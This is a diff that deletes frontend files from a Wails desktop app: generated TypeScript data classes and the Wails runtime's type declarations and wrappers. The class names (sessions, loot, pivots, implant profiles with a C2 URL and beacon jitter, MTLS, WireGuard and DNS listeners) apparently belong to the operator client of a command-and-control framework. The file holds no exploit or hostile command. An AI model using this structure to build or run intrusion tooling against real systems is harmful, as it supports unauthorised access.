export class GenerateResult {
|
||||
file: string;
|
||||
error?: string;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new GenerateResult(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.file = source["file"];
|
||||
this.error = source["error"];
|
||||
}
|
||||
}
|
||||
export class JobView {
|
||||
id: number;
|
||||
name: string;
|
||||
protocol: string;
|
||||
port: number;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new JobView(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.id = source["id"];
|
||||
this.name = source["name"];
|
||||
this.protocol = source["protocol"];
|
||||
this.port = source["port"];
|
||||
}
|
||||
}
|
||||
export class LootView {
|
||||
id: string;
|
||||
name: string;
|
||||
type: string;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new LootView(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.id = source["id"];
|
||||
this.name = source["name"];
|
||||
this.type = source["type"];
|
||||
}
|
||||
}
|
||||
export class LsResult {
|
||||
path: string;
|
||||
files: FileInfo[];
|
||||
error?: string;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new LsResult(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.path = source["path"];
|
||||
this.files = this.convertValues(source["files"], FileInfo);
|
||||
this.error = source["error"];
|
||||
}
|
||||
|
||||
convertValues(a: any, classs: any, asMap: boolean = false): any {
|
||||
if (!a) {
|
||||
return a;
|
||||
}
|
||||
if (a.slice && a.map) {
|
||||
return (a as any[]).map(elem => this.convertValues(elem, classs));
|
||||
} else if ("object" === typeof a) {
|
||||
if (asMap) {
|
||||
for (const key of Object.keys(a)) {
|
||||
a[key] = new classs(a[key]);
|
||||
}
|
||||
return a;
|
||||
}
|
||||
return new classs(a);
|
||||
}
|
||||
return a;
|
||||
}
|
||||
}
|
||||
export class NetInterfaceView {
|
||||
name: string;
|
||||
mac: string;
|
||||
ips: string[];
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new NetInterfaceView(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.name = source["name"];
|
||||
this.mac = source["mac"];
|
||||
this.ips = source["ips"];
|
||||
}
|
||||
}
|
||||
export class NetstatEntry {
|
||||
localAddr: string;
|
||||
remoteAddr: string;
|
||||
protocol: string;
|
||||
state: string;
|
||||
pid: number;
|
||||
process: string;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new NetstatEntry(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.localAddr = source["localAddr"];
|
||||
this.remoteAddr = source["remoteAddr"];
|
||||
this.protocol = source["protocol"];
|
||||
this.state = source["state"];
|
||||
this.pid = source["pid"];
|
||||
this.process = source["process"];
|
||||
}
|
||||
}
|
||||
export class OperatorView {
|
||||
name: string;
|
||||
online: boolean;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new OperatorView(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.name = source["name"];
|
||||
this.online = source["online"];
|
||||
}
|
||||
}
|
||||
export class PivotView {
|
||||
id: string;
|
||||
type: string;
|
||||
bindAddress: string;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new PivotView(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.id = source["id"];
|
||||
this.type = source["type"];
|
||||
this.bindAddress = source["bindAddress"];
|
||||
}
|
||||
}
|
||||
export class PortForwardView {
|
||||
localPort: number;
|
||||
remote: string;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new PortForwardView(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.localPort = source["localPort"];
|
||||
this.remote = source["remote"];
|
||||
}
|
||||
}
|
||||
export class PrivEntry {
|
||||
name: string;
|
||||
description: string;
|
||||
enabled: boolean;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new PrivEntry(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.name = source["name"];
|
||||
this.description = source["description"];
|
||||
this.enabled = source["enabled"];
|
||||
}
|
||||
}
|
||||
export class PrivsResult {
|
||||
integrity: string;
|
||||
processName: string;
|
||||
privs: PrivEntry[];
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new PrivsResult(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.integrity = source["integrity"];
|
||||
this.processName = source["processName"];
|
||||
this.privs = this.convertValues(source["privs"], PrivEntry);
|
||||
}
|
||||
|
||||
convertValues(a: any, classs: any, asMap: boolean = false): any {
|
||||
if (!a) {
|
||||
return a;
|
||||
}
|
||||
if (a.slice && a.map) {
|
||||
return (a as any[]).map(elem => this.convertValues(elem, classs));
|
||||
} else if ("object" === typeof a) {
|
||||
if (asMap) {
|
||||
for (const key of Object.keys(a)) {
|
||||
a[key] = new classs(a[key]);
|
||||
}
|
||||
return a;
|
||||
}
|
||||
return new classs(a);
|
||||
}
|
||||
return a;
|
||||
}
|
||||
}
|
||||
export class ProcessView {
|
||||
pid: number;
|
||||
ppid: number;
|
||||
executable: string;
|
||||
owner: string;
|
||||
arch: string;
|
||||
cmdLine: string;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new ProcessView(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.pid = source["pid"];
|
||||
this.ppid = source["ppid"];
|
||||
this.executable = source["executable"];
|
||||
this.owner = source["owner"];
|
||||
this.arch = source["arch"];
|
||||
this.cmdLine = source["cmdLine"];
|
||||
}
|
||||
}
|
||||
export class ProfileView {
|
||||
name: string;
|
||||
goos: string;
|
||||
goarch: string;
|
||||
format: string;
|
||||
c2Url: string;
|
||||
debug: boolean;
|
||||
beacon: boolean;
|
||||
interval: number;
|
||||
jitter: number;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new ProfileView(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.name = source["name"];
|
||||
this.goos = source["goos"];
|
||||
this.goarch = source["goarch"];
|
||||
this.format = source["format"];
|
||||
this.c2Url = source["c2Url"];
|
||||
this.debug = source["debug"];
|
||||
this.beacon = source["beacon"];
|
||||
this.interval = source["interval"];
|
||||
this.jitter = source["jitter"];
|
||||
}
|
||||
}
|
||||
export class RegistryValue {
|
||||
name: string;
|
||||
type: string;
|
||||
value: string;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new RegistryValue(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.name = source["name"];
|
||||
this.type = source["type"];
|
||||
this.value = source["value"];
|
||||
}
|
||||
}
|
||||
export class ServiceView {
|
||||
name: string;
|
||||
displayName: string;
|
||||
status: string;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new ServiceView(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.name = source["name"];
|
||||
this.displayName = source["displayName"];
|
||||
this.status = source["status"];
|
||||
}
|
||||
}
|
||||
export class SessionView {
|
||||
id: string;
|
||||
name: string;
|
||||
hostname: string;
|
||||
username: string;
|
||||
os: string;
|
||||
arch: string;
|
||||
transport: string;
|
||||
remoteAddress: string;
|
||||
lastCheckin: string;
|
||||
pid: number;
|
||||
isDead: boolean;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new SessionView(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.id = source["id"];
|
||||
this.name = source["name"];
|
||||
this.hostname = source["hostname"];
|
||||
this.username = source["username"];
|
||||
this.os = source["os"];
|
||||
this.arch = source["arch"];
|
||||
this.transport = source["transport"];
|
||||
this.remoteAddress = source["remoteAddress"];
|
||||
this.lastCheckin = source["lastCheckin"];
|
||||
this.pid = source["pid"];
|
||||
this.isDead = source["isDead"];
|
||||
}
|
||||
}
|
||||
export class StartDNSReq {
|
||||
domains: string[];
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new StartDNSReq(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.domains = source["domains"];
|
||||
}
|
||||
}
|
||||
export class StartHTTPReq {
|
||||
host: string;
|
||||
port: number;
|
||||
secure: boolean;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new StartHTTPReq(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.host = source["host"];
|
||||
this.port = source["port"];
|
||||
this.secure = source["secure"];
|
||||
}
|
||||
}
|
||||
export class StartMTLSReq {
|
||||
host: string;
|
||||
port: number;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new StartMTLSReq(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.host = source["host"];
|
||||
this.port = source["port"];
|
||||
}
|
||||
}
|
||||
export class StartWGReq {
|
||||
port: number;
|
||||
nPort: number;
|
||||
keyPort: number;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new StartWGReq(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.port = source["port"];
|
||||
this.nPort = source["nPort"];
|
||||
this.keyPort = source["keyPort"];
|
||||
}
|
||||
}
|
||||
export class TransferResult {
|
||||
path: string;
|
||||
bytes: number;
|
||||
error?: string;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new TransferResult(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.path = source["path"];
|
||||
this.bytes = source["bytes"];
|
||||
this.error = source["error"];
|
||||
}
|
||||
}
|
||||
export class VersionInfo {
|
||||
major: number;
|
||||
minor: number;
|
||||
patch: number;
|
||||
commit: string;
|
||||
os: string;
|
||||
arch: string;
|
||||
compiled: string;
|
||||
|
||||
static createFrom(source: any = {}) {
|
||||
return new VersionInfo(source);
|
||||
}
|
||||
|
||||
constructor(source: any = {}) {
|
||||
if ('string' === typeof source) source = JSON.parse(source);
|
||||
this.major = source["major"];
|
||||
this.minor = source["minor"];
|
||||
this.patch = source["patch"];
|
||||
this.commit = source["commit"];
|
||||
this.os = source["os"];
|
||||
this.arch = source["arch"];
|
||||
this.compiled = source["compiled"];
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,24 +0,0 @@
|
||||
{
|
||||
"name": "@wailsapp/runtime",
|
||||
"version": "2.0.0",
|
||||
"description": "Wails Javascript runtime library",
|
||||
"main": "runtime.js",
|
||||
"types": "runtime.d.ts",
|
||||
"scripts": {
|
||||
},
|
||||
"repository": {
|
||||
"type": "git",
|
||||
"url": "git+https://github.com/wailsapp/wails.git"
|
||||
},
|
||||
"keywords": [
|
||||
"Wails",
|
||||
"Javascript",
|
||||
"Go"
|
||||
],
|
||||
"author": "Lea Anthony <lea.anthony@gmail.com>",
|
||||
"license": "MIT",
|
||||
"bugs": {
|
||||
"url": "https://github.com/wailsapp/wails/issues"
|
||||
},
|
||||
"homepage": "https://github.com/wailsapp/wails#readme"
|
||||
}
|
||||
-330
@@ -1,330 +0,0 @@
|
||||
/*
|
||||
_ __ _ __
|
||||
| | / /___ _(_) /____
|
||||
| | /| / / __ `/ / / ___/
|
||||
| |/ |/ / /_/ / / (__ )
|
||||
|__/|__/\__,_/_/_/____/
|
||||
The electron alternative for Go
|
||||
(c) Lea Anthony 2019-present
|
||||
*/
|
||||
|
||||
export interface Position {
|
||||
x: number;
|
||||
y: number;
|
||||
}
|
||||
|
||||
export interface Size {
|
||||
w: number;
|
||||
h: number;
|
||||
}
|
||||
|
||||
export interface Screen {
|
||||
isCurrent: boolean;
|
||||
isPrimary: boolean;
|
||||
width : number
|
||||
height : number
|
||||
}
|
||||
|
||||
// Environment information such as platform, buildtype, ...
|
||||
export interface EnvironmentInfo {
|
||||
buildType: string;
|
||||
platform: string;
|
||||
arch: string;
|
||||
}
|
||||
|
||||
// [EventsEmit](https://wails.io/docs/reference/runtime/events#eventsemit)
|
||||
// emits the given event. Optional data may be passed with the event.
|
||||
// This will trigger any event listeners.
|
||||
export function EventsEmit(eventName: string, ...data: any): void;
|
||||
|
||||
// [EventsOn](https://wails.io/docs/reference/runtime/events#eventson) sets up a listener for the given event name.
|
||||
export function EventsOn(eventName: string, callback: (...data: any) => void): () => void;
|
||||
|
||||
// [EventsOnMultiple](https://wails.io/docs/reference/runtime/events#eventsonmultiple)
|
||||
// sets up a listener for the given event name, but will only trigger a given number times.
|
||||
export function EventsOnMultiple(eventName: string, callback: (...data: any) => void, maxCallbacks: number): () => void;
|
||||
|
||||
// [EventsOnce](https://wails.io/docs/reference/runtime/events#eventsonce)
|
||||
// sets up a listener for the given event name, but will only trigger once.
|
||||
export function EventsOnce(eventName: string, callback: (...data: any) => void): () => void;
|
||||
|
||||
// [EventsOff](https://wails.io/docs/reference/runtime/events#eventsoff)
|
||||
// unregisters the listener for the given event name.
|
||||
export function EventsOff(eventName: string, ...additionalEventNames: string[]): void;
|
||||
|
||||
// [EventsOffAll](https://wails.io/docs/reference/runtime/events#eventsoffall)
|
||||
// unregisters all listeners.
|
||||
export function EventsOffAll(): void;
|
||||
|
||||
// [LogPrint](https://wails.io/docs/reference/runtime/log#logprint)
|
||||
// logs the given message as a raw message
|
||||
export function LogPrint(message: string): void;
|
||||
|
||||
// [LogTrace](https://wails.io/docs/reference/runtime/log#logtrace)
|
||||
// logs the given message at the `trace` log level.
|
||||
export function LogTrace(message: string): void;
|
||||
|
||||
// [LogDebug](https://wails.io/docs/reference/runtime/log#logdebug)
|
||||
// logs the given message at the `debug` log level.
|
||||
export function LogDebug(message: string): void;
|
||||
|
||||
// [LogError](https://wails.io/docs/reference/runtime/log#logerror)
|
||||
// logs the given message at the `error` log level.
|
||||
export function LogError(message: string): void;
|
||||
|
||||
// [LogFatal](https://wails.io/docs/reference/runtime/log#logfatal)
|
||||
// logs the given message at the `fatal` log level.
|
||||
// The application will quit after calling this method.
|
||||
export function LogFatal(message: string): void;
|
||||
|
||||
// [LogInfo](https://wails.io/docs/reference/runtime/log#loginfo)
|
||||
// logs the given message at the `info` log level.
|
||||
export function LogInfo(message: string): void;
|
||||
|
||||
// [LogWarning](https://wails.io/docs/reference/runtime/log#logwarning)
|
||||
// logs the given message at the `warning` log level.
|
||||
export function LogWarning(message: string): void;
|
||||
|
||||
// [WindowReload](https://wails.io/docs/reference/runtime/window#windowreload)
|
||||
// Forces a reload by the main application as well as connected browsers.
|
||||
export function WindowReload(): void;
|
||||
|
||||
// [WindowReloadApp](https://wails.io/docs/reference/runtime/window#windowreloadapp)
|
||||
// Reloads the application frontend.
|
||||
export function WindowReloadApp(): void;
|
||||
|
||||
// [WindowSetAlwaysOnTop](https://wails.io/docs/reference/runtime/window#windowsetalwaysontop)
|
||||
// Sets the window AlwaysOnTop or not on top.
|
||||
export function WindowSetAlwaysOnTop(b: boolean): void;
|
||||
|
||||
// [WindowSetSystemDefaultTheme](https://wails.io/docs/next/reference/runtime/window#windowsetsystemdefaulttheme)
|
||||
// *Windows only*
|
||||
// Sets window theme to system default (dark/light).
|
||||
export function WindowSetSystemDefaultTheme(): void;
|
||||
|
||||
// [WindowSetLightTheme](https://wails.io/docs/next/reference/runtime/window#windowsetlighttheme)
|
||||
// *Windows only*
|
||||
// Sets window to light theme.
|
||||
export function WindowSetLightTheme(): void;
|
||||
|
||||
// [WindowSetDarkTheme](https://wails.io/docs/next/reference/runtime/window#windowsetdarktheme)
|
||||
// *Windows only*
|
||||
// Sets window to dark theme.
|
||||
export function WindowSetDarkTheme(): void;
|
||||
|
||||
// [WindowCenter](https://wails.io/docs/reference/runtime/window#windowcenter)
|
||||
// Centers the window on the monitor the window is currently on.
|
||||
export function WindowCenter(): void;
|
||||
|
||||
// [WindowSetTitle](https://wails.io/docs/reference/runtime/window#windowsettitle)
|
||||
// Sets the text in the window title bar.
|
||||
export function WindowSetTitle(title: string): void;
|
||||
|
||||
// [WindowFullscreen](https://wails.io/docs/reference/runtime/window#windowfullscreen)
|
||||
// Makes the window full screen.
|
||||
export function WindowFullscreen(): void;
|
||||
|
||||
// [WindowUnfullscreen](https://wails.io/docs/reference/runtime/window#windowunfullscreen)
|
||||
// Restores the previous window dimensions and position prior to full screen.
|
||||
export function WindowUnfullscreen(): void;
|
||||
|
||||
// [WindowIsFullscreen](https://wails.io/docs/reference/runtime/window#windowisfullscreen)
|
||||
// Returns the state of the window, i.e. whether the window is in full screen mode or not.
|
||||
export function WindowIsFullscreen(): Promise<boolean>;
|
||||
|
||||
// [WindowSetSize](https://wails.io/docs/reference/runtime/window#windowsetsize)
|
||||
// Sets the width and height of the window.
|
||||
export function WindowSetSize(width: number, height: number): void;
|
||||
|
||||
// [WindowGetSize](https://wails.io/docs/reference/runtime/window#windowgetsize)
|
||||
// Gets the width and height of the window.
|
||||
export function WindowGetSize(): Promise<Size>;
|
||||
|
||||
// [WindowSetMaxSize](https://wails.io/docs/reference/runtime/window#windowsetmaxsize)
|
||||
// Sets the maximum window size. Will resize the window if the window is currently larger than the given dimensions.
|
||||
// Setting a size of 0,0 will disable this constraint.
|
||||
export function WindowSetMaxSize(width: number, height: number): void;
|
||||
|
||||
// [WindowSetMinSize](https://wails.io/docs/reference/runtime/window#windowsetminsize)
|
||||
// Sets the minimum window size. Will resize the window if the window is currently smaller than the given dimensions.
|
||||
// Setting a size of 0,0 will disable this constraint.
|
||||
export function WindowSetMinSize(width: number, height: number): void;
|
||||
|
||||
// [WindowSetPosition](https://wails.io/docs/reference/runtime/window#windowsetposition)
|
||||
// Sets the window position relative to the monitor the window is currently on.
|
||||
export function WindowSetPosition(x: number, y: number): void;
|
||||
|
||||
// [WindowGetPosition](https://wails.io/docs/reference/runtime/window#windowgetposition)
|
||||
// Gets the window position relative to the monitor the window is currently on.
|
||||
export function WindowGetPosition(): Promise<Position>;
|
||||
|
||||
// [WindowHide](https://wails.io/docs/reference/runtime/window#windowhide)
|
||||
// Hides the window.
|
||||
export function WindowHide(): void;
|
||||
|
||||
// [WindowShow](https://wails.io/docs/reference/runtime/window#windowshow)
|
||||
// Shows the window, if it is currently hidden.
|
||||
export function WindowShow(): void;
|
||||
|
||||
// [WindowMaximise](https://wails.io/docs/reference/runtime/window#windowmaximise)
|
||||
// Maximises the window to fill the screen.
|
||||
export function WindowMaximise(): void;
|
||||
|
||||
// [WindowToggleMaximise](https://wails.io/docs/reference/runtime/window#windowtogglemaximise)
|
||||
// Toggles between Maximised and UnMaximised.
|
||||
export function WindowToggleMaximise(): void;
|
||||
|
||||
// [WindowUnmaximise](https://wails.io/docs/reference/runtime/window#windowunmaximise)
|
||||
// Restores the window to the dimensions and position prior to maximising.
|
||||
export function WindowUnmaximise(): void;
|
||||
|
||||
// [WindowIsMaximised](https://wails.io/docs/reference/runtime/window#windowismaximised)
|
||||
// Returns the state of the window, i.e. whether the window is maximised or not.
|
||||
export function WindowIsMaximised(): Promise<boolean>;
|
||||
|
||||
// [WindowMinimise](https://wails.io/docs/reference/runtime/window#windowminimise)
|
||||
// Minimises the window.
|
||||
export function WindowMinimise(): void;
|
||||
|
||||
// [WindowUnminimise](https://wails.io/docs/reference/runtime/window#windowunminimise)
|
||||
// Restores the window to the dimensions and position prior to minimising.
|
||||
export function WindowUnminimise(): void;
|
||||
|
||||
// [WindowIsMinimised](https://wails.io/docs/reference/runtime/window#windowisminimised)
|
||||
// Returns the state of the window, i.e. whether the window is minimised or not.
|
||||
export function WindowIsMinimised(): Promise<boolean>;
|
||||
|
||||
// [WindowIsNormal](https://wails.io/docs/reference/runtime/window#windowisnormal)
|
||||
// Returns the state of the window, i.e. whether the window is normal or not.
|
||||
export function WindowIsNormal(): Promise<boolean>;
|
||||
|
||||
// [WindowSetBackgroundColour](https://wails.io/docs/reference/runtime/window#windowsetbackgroundcolour)
|
||||
// Sets the background colour of the window to the given RGBA colour definition. This colour will show through for all transparent pixels.
|
||||
export function WindowSetBackgroundColour(R: number, G: number, B: number, A: number): void;
|
||||
|
||||
// [ScreenGetAll](https://wails.io/docs/reference/runtime/window#screengetall)
|
||||
// Gets the all screens. Call this anew each time you want to refresh data from the underlying windowing system.
|
||||
export function ScreenGetAll(): Promise<Screen[]>;
|
||||
|
||||
// [BrowserOpenURL](https://wails.io/docs/reference/runtime/browser#browseropenurl)
|
||||
// Opens the given URL in the system browser.
|
||||
export function BrowserOpenURL(url: string): void;
|
||||
|
||||
// [Environment](https://wails.io/docs/reference/runtime/intro#environment)
|
||||
// Returns information about the environment
|
||||
export function Environment(): Promise<EnvironmentInfo>;
|
||||
|
||||
// [Quit](https://wails.io/docs/reference/runtime/intro#quit)
|
||||
// Quits the application.
|
||||
export function Quit(): void;
|
||||
|
||||
// [Hide](https://wails.io/docs/reference/runtime/intro#hide)
|
||||
// Hides the application.
|
||||
export function Hide(): void;
|
||||
|
||||
// [Show](https://wails.io/docs/reference/runtime/intro#show)
|
||||
// Shows the application.
|
||||
export function Show(): void;
|
||||
|
||||
// [ClipboardGetText](https://wails.io/docs/reference/runtime/clipboard#clipboardgettext)
|
||||
// Returns the current text stored on clipboard
|
||||
export function ClipboardGetText(): Promise<string>;
|
||||
|
||||
// [ClipboardSetText](https://wails.io/docs/reference/runtime/clipboard#clipboardsettext)
|
||||
// Sets a text on the clipboard
|
||||
export function ClipboardSetText(text: string): Promise<boolean>;
|
||||
|
||||
// [OnFileDrop](https://wails.io/docs/reference/runtime/draganddrop#onfiledrop)
|
||||
// OnFileDrop listens to drag and drop events and calls the callback with the coordinates of the drop and an array of path strings.
|
||||
export function OnFileDrop(callback: (x: number, y: number ,paths: string[]) => void, useDropTarget: boolean) :void
|
||||
|
||||
// [OnFileDropOff](https://wails.io/docs/reference/runtime/draganddrop#dragandddropoff)
|
||||
// OnFileDropOff removes the drag and drop listeners and handlers.
|
||||
export function OnFileDropOff() :void
|
||||
|
||||
// Check if the file path resolver is available
|
||||
export function CanResolveFilePaths(): boolean;
|
||||
|
||||
// Resolves file paths for an array of files
|
||||
export function ResolveFilePaths(files: File[]): void
|
||||
|
||||
// Notification types
|
||||
export interface NotificationOptions {
|
||||
id: string;
|
||||
title: string;
|
||||
subtitle?: string; // macOS and Linux only
|
||||
body?: string;
|
||||
categoryId?: string;
|
||||
data?: { [key: string]: any };
|
||||
}
|
||||
|
||||
export interface NotificationAction {
|
||||
id?: string;
|
||||
title?: string;
|
||||
destructive?: boolean; // macOS-specific
|
||||
}
|
||||
|
||||
export interface NotificationCategory {
|
||||
id?: string;
|
||||
actions?: NotificationAction[];
|
||||
hasReplyField?: boolean;
|
||||
replyPlaceholder?: string;
|
||||
replyButtonTitle?: string;
|
||||
}
|
||||
|
||||
// [InitializeNotifications](https://wails.io/docs/reference/runtime/notification#initializenotifications)
|
||||
// Initializes the notification service for the application.
|
||||
// This must be called before sending any notifications.
|
||||
export function InitializeNotifications(): Promise<void>;
|
||||
|
||||
// [CleanupNotifications](https://wails.io/docs/reference/runtime/notification#cleanupnotifications)
|
||||
// Cleans up notification resources and releases any held connections.
|
||||
export function CleanupNotifications(): Promise<void>;
|
||||
|
||||
// [IsNotificationAvailable](https://wails.io/docs/reference/runtime/notification#isnotificationavailable)
|
||||
// Checks if notifications are available on the current platform.
|
||||
export function IsNotificationAvailable(): Promise<boolean>;
|
||||
|
||||
// [RequestNotificationAuthorization](https://wails.io/docs/reference/runtime/notification#requestnotificationauthorization)
|
||||
// Requests notification authorization from the user (macOS only).
|
||||
export function RequestNotificationAuthorization(): Promise<boolean>;
|
||||
|
||||
// [CheckNotificationAuthorization](https://wails.io/docs/reference/runtime/notification#checknotificationauthorization)
|
||||
// Checks the current notification authorization status (macOS only).
|
||||
export function CheckNotificationAuthorization(): Promise<boolean>;
|
||||
|
||||
// [SendNotification](https://wails.io/docs/reference/runtime/notification#sendnotification)
|
||||
// Sends a basic notification with the given options.
|
||||
export function SendNotification(options: NotificationOptions): Promise<void>;
|
||||
|
||||
// [SendNotificationWithActions](https://wails.io/docs/reference/runtime/notification#sendnotificationwithactions)
|
||||
// Sends a notification with action buttons. Requires a registered category.
|
||||
export function SendNotificationWithActions(options: NotificationOptions): Promise<void>;
|
||||
|
||||
// [RegisterNotificationCategory](https://wails.io/docs/reference/runtime/notification#registernotificationcategory)
|
||||
// Registers a notification category that can be used with SendNotificationWithActions.
|
||||
export function RegisterNotificationCategory(category: NotificationCategory): Promise<void>;
|
||||
|
||||
// [RemoveNotificationCategory](https://wails.io/docs/reference/runtime/notification#removenotificationcategory)
|
||||
// Removes a previously registered notification category.
|
||||
export function RemoveNotificationCategory(categoryId: string): Promise<void>;
|
||||
|
||||
// [RemoveAllPendingNotifications](https://wails.io/docs/reference/runtime/notification#removeallpendingnotifications)
|
||||
// Removes all pending notifications from the notification center.
|
||||
export function RemoveAllPendingNotifications(): Promise<void>;
|
||||
|
||||
// [RemovePendingNotification](https://wails.io/docs/reference/runtime/notification#removependingnotification)
|
||||
// Removes a specific pending notification by its identifier.
|
||||
export function RemovePendingNotification(identifier: string): Promise<void>;
|
||||
|
||||
// [RemoveAllDeliveredNotifications](https://wails.io/docs/reference/runtime/notification#removealldeliverednotifications)
|
||||
// Removes all delivered notifications from the notification center.
|
||||
export function RemoveAllDeliveredNotifications(): Promise<void>;
|
||||
|
||||
// [RemoveDeliveredNotification](https://wails.io/docs/reference/runtime/notification#removedeliverednotification)
|
||||
// Removes a specific delivered notification by its identifier.
|
||||
export function RemoveDeliveredNotification(identifier: string): Promise<void>;
|
||||
|
||||
// [RemoveNotification](https://wails.io/docs/reference/runtime/notification#removenotification)
|
||||
// Removes a notification by its identifier (cross-platform convenience function).
|
||||
export function RemoveNotification(identifier: string): Promise<void>;
|
||||
@@ -1,298 +0,0 @@
|
||||
/*
|
||||
_ __ _ __
|
||||
| | / /___ _(_) /____
|
||||
| | /| / / __ `/ / / ___/
|
||||
| |/ |/ / /_/ / / (__ )
|
||||
|__/|__/\__,_/_/_/____/
|
||||
The electron alternative for Go
|
||||
(c) Lea Anthony 2019-present
|
||||
*/
|
||||
|
||||
export function LogPrint(message) {
|
||||
window.runtime.LogPrint(message);
|
||||
}
|
||||
|
||||
export function LogTrace(message) {
|
||||
window.runtime.LogTrace(message);
|
||||
}
|
||||
|
||||
export function LogDebug(message) {
|
||||
window.runtime.LogDebug(message);
|
||||
}
|
||||
|
||||
export function LogInfo(message) {
|
||||
window.runtime.LogInfo(message);
|
||||
}
|
||||
|
||||
export function LogWarning(message) {
|
||||
window.runtime.LogWarning(message);
|
||||
}
|
||||
|
||||
export function LogError(message) {
|
||||
window.runtime.LogError(message);
|
||||
}
|
||||
|
||||
export function LogFatal(message) {
|
||||
window.runtime.LogFatal(message);
|
||||
}
|
||||
|
||||
export function EventsOnMultiple(eventName, callback, maxCallbacks) {
|
||||
return window.runtime.EventsOnMultiple(eventName, callback, maxCallbacks);
|
||||
}
|
||||
|
||||
export function EventsOn(eventName, callback) {
|
||||
return EventsOnMultiple(eventName, callback, -1);
|
||||
}
|
||||
|
||||
export function EventsOff(eventName, ...additionalEventNames) {
|
||||
return window.runtime.EventsOff(eventName, ...additionalEventNames);
|
||||
}
|
||||
|
||||
export function EventsOffAll() {
|
||||
return window.runtime.EventsOffAll();
|
||||
}
|
||||
|
||||
export function EventsOnce(eventName, callback) {
|
||||
return EventsOnMultiple(eventName, callback, 1);
|
||||
}
|
||||
|
||||
export function EventsEmit(eventName) {
|
||||
let args = [eventName].slice.call(arguments);
|
||||
return window.runtime.EventsEmit.apply(null, args);
|
||||
}
|
||||
|
||||
export function WindowReload() {
|
||||
window.runtime.WindowReload();
|
||||
}
|
||||
|
||||
export function WindowReloadApp() {
|
||||
window.runtime.WindowReloadApp();
|
||||
}
|
||||
|
||||
export function WindowSetAlwaysOnTop(b) {
|
||||
window.runtime.WindowSetAlwaysOnTop(b);
|
||||
}
|
||||
|
||||
export function WindowSetSystemDefaultTheme() {
|
||||
window.runtime.WindowSetSystemDefaultTheme();
|
||||
}
|
||||
|
||||
export function WindowSetLightTheme() {
|
||||
window.runtime.WindowSetLightTheme();
|
||||
}
|
||||
|
||||
export function WindowSetDarkTheme() {
|
||||
window.runtime.WindowSetDarkTheme();
|
||||
}
|
||||
|
||||
export function WindowCenter() {
|
||||
window.runtime.WindowCenter();
|
||||
}
|
||||
|
||||
export function WindowSetTitle(title) {
|
||||
window.runtime.WindowSetTitle(title);
|
||||
}
|
||||
|
||||
export function WindowFullscreen() {
|
||||
window.runtime.WindowFullscreen();
|
||||
}
|
||||
|
||||
export function WindowUnfullscreen() {
|
||||
window.runtime.WindowUnfullscreen();
|
||||
}
|
